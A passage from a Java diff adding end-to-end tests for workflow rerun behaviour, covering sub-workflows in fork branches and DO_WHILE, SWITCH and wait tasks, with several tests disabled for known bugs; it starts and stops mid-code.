RerunWorkflowRequest rerunRequest = new RerunWorkflowRequest(); + rerunRequest.setReRunFromWorkflowId(workflowId); + rerunRequest.setReRunFromTaskId(failedTaskId); + workflowClient.rerunWorkflow(workflowId, rerunRequest); + + try { + Thread.sleep(2000L); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + workflow = workflowClient.getWorkflow(workflowId, true); + + assertEquals(Workflow.WorkflowStatus.RUNNING, workflow.getStatus()); + + Task taskBeforeAfterRerun = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(simpleTaskBefore)) + .findFirst() + .orElse(null); + assertNotNull( + taskBeforeAfterRerun, "simple_task_before should still exist after rerun"); + assertEquals(Task.Status.COMPLETED, taskBeforeAfterRerun.getStatus()); + assertEquals(taskBeforeId, taskBeforeAfterRerun.getTaskId()); + + Task forkAfterRerun = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(forkRef)) + .findFirst() + .orElse(null); + assertNotNull(forkAfterRerun, "FORK task should still exist after rerun"); + + Task rerunSubWfTask = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfFork2Ref)) + .filter( + t -> + !t.getStatus().isTerminal() + || t.getStatus() == Task.Status.SCHEDULED) + .findFirst() + .orElse(null); + assertNotNull(rerunSubWfTask, "sub_wf_fork2 should be re-scheduled after rerun"); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + Task swTask = + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(subWfFork2Ref)) + .findFirst() + .orElseThrow(); + assertNotNull(swTask.getSubWorkflowId()); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + Task rerunSubWf2 = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfFork2Ref)) + .findFirst() + .orElseThrow(); + String newSubWfId2 = rerunSubWf2.getSubWorkflowId(); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(newSubWfId2, true); + assertFalse(sw.getTasks().isEmpty()); + }); + Workflow newSubWf2 = workflowClient.getWorkflow(newSubWfId2, true); + completeTask(newSubWf2.getTasks().get(0), TaskResult.Status.COMPLETED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + t.getReferenceTaskName() + .equals( + simpleTaskAfter) + && !t.getStatus() + .isTerminal())); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + Task afterTask2 = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(simpleTaskAfter)) + .findFirst() + .orElseThrow(); + completeTask(afterTask2, TaskResult.Status.COMPLETED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.COMPLETED, wf.getStatus()); + }); + + } finally { + try { + terminateExistingRunningWorkflows(parentWfName); + } catch (Exception e) { + /* ignore */ + } + try { + terminateExistingRunningWorkflows(subWfName); + } catch (Exception e) { + /* ignore */ + } + } + } + + @Test + @Disabled( + "Rerun from sub-workflow task inside fork terminates workflow instead of resuming in conductor-oss") + @DisplayName( + "Ticket #7097 (full): Rerun from second SUB_WORKFLOW in FORK branch with preceding task") + public void testRerunSubWorkflowInsideFork_SequentialBranch() { + + String parentWfName = "rerun-fork-seq-subwf-" + System.currentTimeMillis(); + String subWfName = "rerun-fork-seq-subwf-child-" + System.currentTimeMillis(); + String simpleTaskName = "rerun-fork-seq-simple-task"; + String taskBeforeRef = "task_before_fork"; + String subWfBranch1Ref = "sub_wf_branch1"; + String subWfBranch2aRef = "sub_wf_branch2a"; + String subWfBranch2bRef = "sub_wf_branch2b"; + String forkRef = "fork_seq_test"; + String joinRef = "join_seq_test"; + + TaskDef simpleTaskDef = new TaskDef(simpleTaskName); + simpleTaskDef.setRetryCount(0); + simpleTaskDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask simpleTaskWt = new WorkflowTask(); + simpleTaskWt.setTaskReferenceName(simpleTaskName); + simpleTaskWt.setName(simpleTaskName); + simpleTaskWt.setTaskDefinition(simpleTaskDef); + simpleTaskWt.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef subWfDef = new WorkflowDef(); + subWfDef.setName(subWfName); + subWfDef.setOwnerEmail("test@conductor.io"); + subWfDef.setDescription("Sub workflow for sequential fork rerun test"); + subWfDef.setTimeoutSeconds(600); + subWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + subWfDef.setTasks(List.of(simpleTaskWt)); + metadataClient.updateWorkflowDefs(java.util.List.of(subWfDef)); + + TaskDef beforeTaskDef = new TaskDef(taskBeforeRef); + beforeTaskDef.setRetryCount(0); + beforeTaskDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask beforeTask = new WorkflowTask(); + beforeTask.setTaskReferenceName(taskBeforeRef); + beforeTask.setName(taskBeforeRef); + beforeTask.setTaskDefinition(beforeTaskDef); + beforeTask.setWorkflowTaskType(TaskType.SIMPLE); + + SubWorkflowParams subParams1 = new SubWorkflowParams(); + subParams1.setName(subWfName); + subParams1.setVersion(1); + + WorkflowTask branch1Task = new WorkflowTask(); + branch1Task.setTaskReferenceName(subWfBranch1Ref); + branch1Task.setName(subWfName); + branch1Task.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + branch1Task.setSubWorkflowParam(subParams1); + + SubWorkflowParams subParams2a = new SubWorkflowParams(); + subParams2a.setName(subWfName); + subParams2a.setVersion(1); + + WorkflowTask branch2aTask = new WorkflowTask(); + branch2aTask.setTaskReferenceName(subWfBranch2aRef); + branch2aTask.setName(subWfName); + branch2aTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + branch2aTask.setSubWorkflowParam(subParams2a); + + SubWorkflowParams subParams2b = new SubWorkflowParams(); + subParams2b.setName(subWfName); + subParams2b.setVersion(1); + + WorkflowTask branch2bTask = new WorkflowTask(); + branch2bTask.setTaskReferenceName(subWfBranch2bRef); + branch2bTask.setName(subWfName); + branch2bTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + branch2bTask.setSubWorkflowParam(subParams2b); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setTaskReferenceName(forkRef); + forkTask.setName("FORK_JOIN"); + forkTask.setWorkflowTaskType(TaskType.FORK_JOIN); + forkTask.setForkTasks(List.of(List.of(branch1Task), List.of(branch2aTask, branch2bTask))); + + WorkflowTask joinTask = new WorkflowTask(); + joinTask.setTaskReferenceName(joinRef); + joinTask.setName("JOIN"); + joinTask.setWorkflowTaskType(TaskType.JOIN); + joinTask.setJoinOn(List.of(subWfBranch1Ref, subWfBranch2bRef)); + + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setDescription("Exact reproduction of ticket #7097"); + parentWfDef.setTimeoutSeconds(600); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentWfDef.setTasks(List.of(beforeTask, forkTask, joinTask)); + metadataClient.updateWorkflowDefs(java.util.List.of(parentWfDef)); + + try { + StartWorkflowRequest startRequest = new StartWorkflowRequest(); + startRequest.setName(parentWfName); + startRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startRequest); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertFalse(wf.getTasks().isEmpty()); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + Task taskBefore = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(taskBeforeRef)) + .findFirst() + .orElseThrow(); + completeTask(taskBefore, TaskResult.Status.COMPLETED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue(wf.getTasks().size() >= 5); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + + Task branch1 = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfBranch1Ref)) + .findFirst() + .orElseThrow(); + String subWfId1 = branch1.getSubWorkflowId(); + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(subWfId1, true); + assertFalse(sw.getTasks().isEmpty()); + }); + Workflow sw1 = workflowClient.getWorkflow(subWfId1, true); + completeTask(sw1.getTasks().get(0), TaskResult.Status.COMPLETED); + + Task branch2a = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfBranch2aRef)) + .findFirst() + .orElseThrow(); + String subWfId2a = branch2a.getSubWorkflowId(); + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(subWfId2a, true); + assertFalse(sw.getTasks().isEmpty()); + }); + Workflow sw2a = workflowClient.getWorkflow(subWfId2a, true); + completeTask(sw2a.getTasks().get(0), TaskResult.Status.COMPLETED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + t.getReferenceTaskName() + .equals(subWfBranch2bRef))); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + Task branch2b = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfBranch2bRef)) + .findFirst() + .orElseThrow(); + String subWfId2b = branch2b.getSubWorkflowId(); + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(subWfId2b, true); + assertFalse(sw.getTasks().isEmpty()); + }); + + Workflow sw2b = workflowClient.getWorkflow(subWfId2b, true); + completeTask(sw2b.getTasks().get(0), TaskResult.Status.FAILED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.FAILED, wf.getStatus()); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + + String taskBeforeId = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(taskBeforeRef)) + .findFirst() + .orElseThrow() + .getTaskId(); + Task failedTask = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfBranch2bRef)) + .findFirst() + .orElseThrow(); + + RerunWorkflowRequest rerunRequest = new RerunWorkflowRequest(); + rerunRequest.setReRunFromWorkflowId(workflowId); + rerunRequest.setReRunFromTaskId(failedTask.getTaskId()); + workflowClient.rerunWorkflow(workflowId, rerunRequest); + + try { + Thread.sleep(2000L); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + workflow = workflowClient.getWorkflow(workflowId, true); + + Task taskBeforeAfterRerun = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(taskBeforeRef)) + .findFirst() + .orElse(null); + assertNotNull(taskBeforeAfterRerun, "task_before_fork should exist after rerun"); + assertEquals(Task.Status.COMPLETED, taskBeforeAfterRerun.getStatus()); + assertEquals(taskBeforeId, taskBeforeAfterRerun.getTaskId()); + + assertNotNull( + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(forkRef)) + .findFirst() + .orElse(null), + "FORK task should still exist"); + + Task branch2aAfter = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfBranch2aRef)) + .findFirst() + .orElse(null); + assertNotNull(branch2aAfter, "sub_wf_branch2a should still exist"); + assertEquals(Task.Status.COMPLETED, branch2aAfter.getStatus()); + + assertEquals(Workflow.WorkflowStatus.RUNNING, workflow.getStatus()); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + Task swTask = + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(subWfBranch2bRef)) + .findFirst() + .orElseThrow(); + assertNotNull(swTask.getSubWorkflowId()); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + Task rerunBranch2b = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfBranch2bRef)) + .findFirst() + .orElseThrow(); + String newSubWfId2b = rerunBranch2b.getSubWorkflowId(); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow sw = workflowClient.getWorkflow(newSubWfId2b, true); + assertFalse(sw.getTasks().isEmpty()); + }); + Workflow newSw2b = workflowClient.getWorkflow(newSubWfId2b, true); + completeTask(newSw2b.getTasks().get(0), TaskResult.Status.COMPLETED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.COMPLETED, wf.getStatus()); + }); + + } finally { + try { + terminateExistingRunningWorkflows(parentWfName); + } catch (Exception e) { + /* ignore */ + } + try { + terminateExistingRunningWorkflows(subWfName); + } catch (Exception e) { + /* ignore */ + } + } + } + + @Test + @DisplayName("Rerun from inner task of SUB_WORKFLOW in FORK branch") + public void testRerunFromTaskInsideSubWorkflowInFork() { + + String parentWfName = "rerun-inner-task-fork-subwf-" + System.currentTimeMillis(); + String subWfName = "rerun-inner-task-fork-subwf-child-" + System.currentTimeMillis(); + String simpleTaskName = "rerun-inner-simple-task"; + String simpleTaskBefore = "simple_task_before"; + String simpleTaskAfter = "simple_task_after"; + String subWfFork1Ref = "sub_wf_fork1"; + String subWfFork2Ref = "sub_wf_fork2"; + String forkRef = "fork_inner_test"; + String joinRef = "join_inner_test"; + + TaskDef simpleTaskDef = new TaskDef(simpleTaskName); + simpleTaskDef.setRetryCount(0); + simpleTaskDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask simpleTaskWt = new WorkflowTask(); + simpleTaskWt.setTaskReferenceName(simpleTaskName); + simpleTaskWt.setName(simpleTaskName); + simpleTaskWt.setTaskDefinition(simpleTaskDef); + simpleTaskWt.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef subWfDef = new WorkflowDef(); + subWfDef.setName(subWfName); + subWfDef.setOwnerEmail("test@conductor.io"); + subWfDef.setDescription("Sub workflow for inner task rerun test"); + subWfDef.setTimeoutSeconds(600); + subWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + subWfDef.setTasks(List.of(simpleTaskWt)); + metadataClient.updateWorkflowDefs(java.util.List.of(subWfDef)); + + TaskDef beforeTaskDef = new TaskDef(simpleTaskBefore); + beforeTaskDef.setRetryCount(0); + beforeTaskDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask beforeTask = new WorkflowTask(); + beforeTask.setTaskReferenceName(simpleTaskBefore); + beforeTask.setName(simpleTaskBefore); + beforeTask.setTaskDefinition(beforeTaskDef); + beforeTask.setWorkflowTaskType(TaskType.SIMPLE); + + SubWorkflowParams subParams1 = new SubWorkflowParams(); + subParams1.setName(subWfName); + subParams1.setVersion(1); + WorkflowTask subWfTask1 = new WorkflowTask(); + subWfTask1.setTaskReferenceName(subWfFork1Ref); + subWfTask1.setName(subWfName); + subWfTask1.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + subWfTask1.setSubWorkflowParam(subParams1); + + SubWorkflowParams subParams2 = new SubWorkflowParams(); + subParams2.setName(subWfName); + subParams2.setVersion(1); + WorkflowTask subWfTask2 = new WorkflowTask(); + subWfTask2.setTaskReferenceName(subWfFork2Ref); + subWfTask2.setName(subWfName); + subWfTask2.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + subWfTask2.setSubWorkflowParam(subParams2); + + WorkflowTask forkTask = new WorkflowTask(); + forkTask.setTaskReferenceName(forkRef); + forkTask.setName("FORK_JOIN"); + forkTask.setWorkflowTaskType(TaskType.FORK_JOIN); + forkTask.setForkTasks(List.of(List.of(subWfTask1), List.of(subWfTask2))); + + WorkflowTask joinTask = new WorkflowTask(); + joinTask.setTaskReferenceName(joinRef); + joinTask.setName("JOIN"); + joinTask.setWorkflowTaskType(TaskType.JOIN); + joinTask.setJoinOn(List.of(subWfFork1Ref, subWfFork2Ref)); + + TaskDef afterTaskDef = new TaskDef(simpleTaskAfter); + afterTaskDef.setRetryCount(0); + afterTaskDef.setOwnerEmail("test@conductor.io"); + WorkflowTask afterTask = new WorkflowTask(); + afterTask.setTaskReferenceName(simpleTaskAfter); + afterTask.setName(simpleTaskAfter); + afterTask.setTaskDefinition(afterTaskDef); + afterTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setDescription("Test rerun from inner task of SUB_WORKFLOW in FORK"); + parentWfDef.setTimeoutSeconds(600); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + parentWfDef.setTasks(List.of(beforeTask, forkTask, joinTask, afterTask)); + metadataClient.updateWorkflowDefs(java.util.List.of(parentWfDef)); + + try { + StartWorkflowRequest startRequest = new StartWorkflowRequest(); + startRequest.setName(parentWfName); + startRequest.setVersion(1); + String workflowId = workflowClient.startWorkflow(startRequest); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertFalse( + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .isEmpty()); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + Task taskBefore = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(simpleTaskBefore)) + .findFirst() + .orElseThrow(); + workflow = completeTask(taskBefore, TaskResult.Status.COMPLETED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertTrue( + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .size() + >= 5); + }); + + String subWfId1 = awaitSubWorkflowId(workflowId, subWfFork1Ref); + completeTask(awaitFirstTask(subWfId1), TaskResult.Status.COMPLETED); + + String subWfId2 = awaitSubWorkflowId(workflowId, subWfFork2Ref); + Task innerFailedTask = awaitFirstTask(subWfId2); + String innerFailedTaskId = innerFailedTask.getTaskId(); + completeTask(innerFailedTask, TaskResult.Status.FAILED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertEquals( + Workflow.WorkflowStatus.FAILED, + workflowClient.getWorkflow(workflowId, true).getStatus()); + }); + + RerunWorkflowRequest rerunRequest = new RerunWorkflowRequest(); + rerunRequest.setReRunFromWorkflowId(subWfId2); + rerunRequest.setReRunFromTaskId(innerFailedTaskId); + workflowClient.rerunWorkflow(workflowId, rerunRequest); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.RUNNING, + wf.getStatus(), + "Parent workflow should be RUNNING after nested rerun. " + + "reason=" + + wf.getReasonForIncompletion()); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + + Task taskBeforeAfterRerun = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(simpleTaskBefore)) + .findFirst() + .orElse(null); + assertNotNull(taskBeforeAfterRerun); + assertEquals(Task.Status.COMPLETED, taskBeforeAfterRerun.getStatus()); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + Task swTask = + wf.getTasks().stream() + .filter( + t -> + t.getReferenceTaskName() + .equals(subWfFork2Ref)) + .findFirst() + .orElseThrow(); + assertNotNull(swTask.getSubWorkflowId()); + assertFalse( + workflowClient + .getWorkflow(swTask.getSubWorkflowId(), true) + .getTasks() + .isEmpty()); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + Task rerunSubWf2Task = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(subWfFork2Ref)) + .findFirst() + .orElseThrow(); + String newSubWfId2 = rerunSubWf2Task.getSubWorkflowId(); + Workflow newSubWf2 = workflowClient.getWorkflow(newSubWfId2, true); + completeTask(newSubWf2.getTasks().get(0), TaskResult.Status.COMPLETED); + + // Wait must cover a multi-hop propagation: inner SIMPLE COMPLETED -> sub_wf_fork2 + // sub-workflow completion (driven by sweeper) -> JOIN evaluation -> parent schedules + // simpleTaskAfter. Under parallel e2e load this can exceed 10s. + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue( + wf.getTasks().stream() + .anyMatch( + t -> + t.getReferenceTaskName() + .equals( + simpleTaskAfter) + && !t.getStatus() + .isTerminal())); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + Task afterTask2 = + workflow.getTasks().stream() + .filter(t -> t.getReferenceTaskName().equals(simpleTaskAfter)) + .findFirst() + .orElseThrow(); + completeTask(afterTask2, TaskResult.Status.COMPLETED); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowClient.getWorkflow(workflowId, true).getStatus()); + }); + + } finally { + try { + terminateExistingRunningWorkflows(parentWfName); + } catch (Exception e) { + /* ignore */ + } + try { + terminateExistingRunningWorkflows(subWfName); + } catch (Exception e) { + /* ignore */ + } + } + } + + @Test + @Disabled( + "DO_WHILE task rerun leaves workflow TERMINATED due to sync task status not being reset to SCHEDULED in conductor-oss") + @DisplayName( + "Test do_while task rerun - verify cancellation of previous iterations and fresh start") + public void testDoWhileRerun() { + String workflowName = "rerun-do-while-workflow"; + WorkflowDef workflowDef = registerDoWhileWorkflowDef(workflowName); + + terminateExistingRunningWorkflows(workflowName); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + startWorkflowRequest.setInput(Map.of("maxIterations", 3)); + + Map taskToDomain = new HashMap<>(); + taskToDomain.put("simple_do_while_task", "test-domain"); + startWorkflowRequest.setTaskToDomain(taskToDomain); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertFalse(workflow.getTasks().isEmpty()); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow.getTaskToDomain()); + assertEquals("test-domain", workflow.getTaskToDomain().get("simple_do_while_task")); + + Task firstIterationTask = + workflow.getTasks().stream() + .filter( + t -> + "simple_do_while_task".equals(t.getTaskDefName()) + && t.getIteration() == 1) + .findFirst() + .orElseThrow(); + assertEquals("test-domain", firstIterationTask.getDomain()); + completeTask(firstIterationTask, TaskResult.Status.COMPLETED); + + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue(wf.getTasks().stream().anyMatch(t -> t.getIteration() == 2)); + }); + + workflow = workflowClient.getWorkflow(workflowId, true); + Task secondIterationTask = + workflow.getTasks().stream() + .filter( + t -> + "simple_do_while_task".equals(t.getTaskDefName()) + && t.getIteration() == 2) + .findFirst() + .orElseThrow(); + assertEquals("test-domain", secondIterationTask.getDomain()); + + String firstTaskIdBeforeRerun = + workflow.getTasks().stream() + .filter( + t -> + "simple_do_while_task".equals(t.getTaskDefName()) + && t.getIteration() == 1) + .map(Task::getTaskId) + .findFirst() + .orElseThrow(); + String secondTaskIdBeforeRerun = secondIterationTask.getTaskId(); + + workflow = completeTask(secondIterationTask, TaskResult.Status.FAILED_WITH_TERMINAL_ERROR); + assertEquals(Workflow.WorkflowStatus.FAILED, workflow.getStatus()); + + Task doWhileTask = + workflow.getTasks().stream() + .filter(t -> TaskType.DO_WHILE.name().equals(t.getTaskType())) + .findFirst() + .orElseThrow(); + + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + rerunWorkflowRequest.setReRunFromTaskId(doWhileTask.getTaskId()); + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(2, workflow.getTasks().size()); + + assertEquals(TaskType.DO_WHILE.name(), workflow.getTasks().get(0).getTaskType()); + assertEquals(1, workflow.getTasks().get(0).getIteration()); + assertEquals(Task.Status.IN_PROGRESS, workflow.getTasks().get(0).getStatus()); + + Task firstIterationAfterRerun = workflow.getTasks().get(1); + assertEquals("simple_do_while_task", firstIterationAfterRerun.getTaskType()); + assertEquals(Task.Status.SCHEDULED, firstIterationAfterRerun.getStatus()); + assertEquals(1, firstIterationAfterRerun.getIteration()); + assertEquals("test-domain", firstIterationAfterRerun.getDomain()); + + assertNotEquals(firstTaskIdBeforeRerun, firstIterationAfterRerun.getTaskId()); + + boolean hasSecondIterationAfterRerun = + workflow.getTasks().stream().anyMatch(t -> t.getIteration() == 2); + assertFalse(hasSecondIterationAfterRerun); + } + + @Test + @Disabled( + "SWITCH task rerun leaves workflow TERMINATED due to sync task status not being reset to SCHEDULED in conductor-oss") + @DisplayName( + "Test switch task rerun - verify cancellation of previous branches and re-execution") + public void testSwitchTaskRerun() { + String workflowName = "rerun-switch-workflow"; + registerSwitchWorkflowDef(workflowName); + + terminateExistingRunningWorkflows(workflowName); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + startWorkflowRequest.setInput(Map.of("switchValue", "case1")); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + Task case1Task = workflow.getTasks().get(1); + + workflow = completeTask(case1Task, TaskResult.Status.FAILED_WITH_TERMINAL_ERROR); + assertEquals(Workflow.WorkflowStatus.FAILED, workflow.getStatus()); + + Task switchTask = workflow.getTasks().get(0); + + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + rerunWorkflowRequest.setReRunFromTaskId(switchTask.getTaskId()); + rerunWorkflowRequest.setTaskInput(Map.of("switchValue", "case2")); + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(2, workflow.getTasks().size()); + assertEquals(Task.Status.COMPLETED, workflow.getTasks().get(0).getStatus()); + assertEquals(Task.Status.SCHEDULED, workflow.getTasks().get(1).getStatus()); + assertEquals("case2_task", workflow.getTasks().get(1).getReferenceTaskName()); + + workflow = completeTask(workflow.getTasks().get(1), TaskResult.Status.COMPLETED); + try { + Thread.sleep(1000L); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + assertEquals(Workflow.WorkflowStatus.COMPLETED, workflow.getStatus()); + } + + @Test + @Disabled( + "Rerun from fork-join workflow with wait/switch tasks terminates workflow instead of resuming in conductor-oss") + @DisplayName("Test rerun with fork-join containing wait, wait_for_webhook, and switch tasks") + public void testRerunForkJoinWithWaitAndSwitchTasks() { + String workflowName = "test-rerun-fork-join-wait-switch-" + System.currentTimeMillis(); + + registerForkJoinWithWaitAndSwitchWorkflow(workflowName); + terminateExistingRunningWorkflows(workflowName); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + assertNotNull(workflowId); + + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertTrue(workflow.getTasks().size() >= 5); + assertTrue( + workflow.getTasks().stream() + .anyMatch( + t -> + "wait_task" + .equals( + t + .getReferenceTaskName()) + && Task.Status.IN_PROGRESS + .equals( + t + .getStatus()))); + assertTrue( + workflow.getTasks().stream() + .anyMatch( + t -> + "wait_for_webhook_task" + .equals( + t + .getReferenceTaskName()) + && Task.Status.IN_PROGRESS + .equals( + t + .getStatus()))); + assertTrue( + workflow.getTasks().stream() + .anyMatch( + t -> + "simple_task_case1" + .equals( + t + .getReferenceTaskName()))); + assertTrue( + workflow.getTasks().stream() + .anyMatch( + t -> + "simple_task_fork4" + .equals( + t + .getReferenceTaskName()))); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + Task simpleTask = + workflow.getTasks().stream() + .filter(t -> "simple_task_case1".equals(t.getReferenceTaskName())) + .findFirst() + .orElseThrow(() -> new AssertionError("Simple task not found")); + + workflow = completeTask(simpleTask, TaskResult.Status.FAILED_WITH_TERMINAL_ERROR); + assertEquals(Workflow.WorkflowStatus.FAILED, workflow.getStatus()); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Task.Status.CANCELED, + wf.getTasks().stream() + .filter( + t -> + "wait_task" + .equals( + t + .getReferenceTaskName())) + .findFirst() + .orElseThrow() + .getStatus()); + assertEquals( + Task.Status.CANCELED, + wf.getTasks().stream() + .filter( + t -> + "wait_for_webhook_task" + .equals( + t + .getReferenceTaskName())) + .findFirst() + .orElseThrow() + .getStatus()); + }); + + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + rerunWorkflowRequest.setReRunFromTaskId(simpleTask.getTaskId()); + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + + await().atMost(10, 